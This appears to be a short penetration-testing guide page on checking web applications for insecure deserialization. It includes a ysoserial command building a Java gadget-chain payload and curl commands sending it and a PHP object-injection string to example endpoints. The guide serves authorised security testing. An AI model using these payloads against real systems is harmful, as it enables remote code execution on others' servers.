pentesting, updated

Testing for insecure deserialization

Check whether the app deserializes attacker-controlled data, which — for several formats — can lead directly to remote code execution.

Goal

Confirm no endpoint deserializes untrusted, attacker-reachable data using a format or library with known gadget chains.

How to test

Identify the serialization format from the raw data (magic bytes/prefix are a fast tell: rO0 for Java, O: for PHP, pickle opcodes for Python):

# Java — generate a gadget-chain payload with ysoserial, then submit it
java -jar ysoserial.jar CommonsCollections6 'id' > payload.ser
curl -s https://example.com/api/endpoint --data-binary @payload.ser -H "Content-Type: application/x-java-serialized-object"

# PHP — object injection via a crafted serialized string
curl -s "https://example.com/page?data=O:8:\"ClassName\":1:{s:4:\"prop\";s:4:\"evil\";}"

What to look for

Command execution (confirm via time delay or out-of-band callback, same as command injection), or a deserialization error revealing the class/library in use — a strong lead even without a ready gadget chain.

References

§ home
~/knubertus/home/
1,1 Top